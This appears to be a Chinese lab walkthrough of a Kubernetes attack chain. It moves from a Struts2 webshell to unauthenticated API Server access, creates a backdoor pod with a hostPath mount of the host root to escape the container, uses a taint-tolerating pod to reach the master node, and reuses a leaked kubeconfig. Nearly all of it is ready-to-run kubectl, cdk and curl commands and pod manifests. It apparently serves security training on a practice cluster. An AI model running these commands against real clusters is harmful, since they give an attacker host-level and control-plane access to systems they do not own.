场景实战

  1. 攻击 Pod 部署 Web 应用
  2. 利用 ApiServer 未授权
  3. 实现挂载目录宿主机逃逸
  4. 利用污点 Taint 横向移动
  5. 利用 Config 泄漏横向移动

污点参考

Taint 是 K8s 高级调度的特性,用于限制哪些 Pod 可以被调度到某一个节点

https://cloud.tencent.com/developer/article/2422130

https://wiki.teamssix.com/CloudNative/Kubernetes/k8s-horizontal-taints.html

相关命令

# 查看 pod 归属
kubectl get pods -o wide
 
# 查看目标 node 污点
kubectl describe nodes master
 
# 查看目标污点并筛选
kubectl describe node master | grep 'Taints' -A 5
 
# 清除目标 node 污点
kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-

三种污点效果

  • NoSchedule:不允许 Pod 被自动调度到该节点
  • PreferNoSchedule:尽量不调度,但允许
  • NoExecute:会驱逐已运行的 Pod

实战模拟

Web 应用部署(struts2 漏洞)

kubectl create deployment struts --image=vulhub/struts2:2.3.28
kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort
kubectl get pod,svc

利用 Web 漏洞拿下权限(工具箱利用工具)

探针当前 Webshell 环境

https://blog.csdn.net/qq_23936389/article/details/131467165

ls -al /
cat /proc/1/cgroup

探针 API Server 未授权

curl -k https://192.168.136.134:6443/api/v1/namespaces/default/pods

提交创建后门 Pod

下载 cdk:https://github.com/cdk-team/CDK/releases

方式一(cdk):

./cdk_linux_amd64 kcurl anonymous post 'https://192.168.0.138:6443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

方式二(kubectl):

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
./kubectl -s 192.168.0.138:6443 create -f test.yaml

加参数绕过交互式:

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a get pods

利用后门挂载进行逃逸

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

利用污点 Taint 横向移动 master 节点

获取 node 节点详情:node-role.kubernetes.io/master:NoSchedule

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a describe node | grep 'Taints' -A 5

创建带容忍的 Pod:

cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-x
spec:
  tolerations:
    - key: node-role.kubernetes.io/master
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-x
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
        - name: master
          mountPath: /master
  volumes:
    - name: master
      hostPath:
        path: /
        type: Directory
EOF

执行:

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml
kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide
./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master-x -- bash -c "cat /master/root/flag"

也可以利用节点泄漏的 config 横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
./kubectl apply -f test.yaml -n default --kubeconfig=config
./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"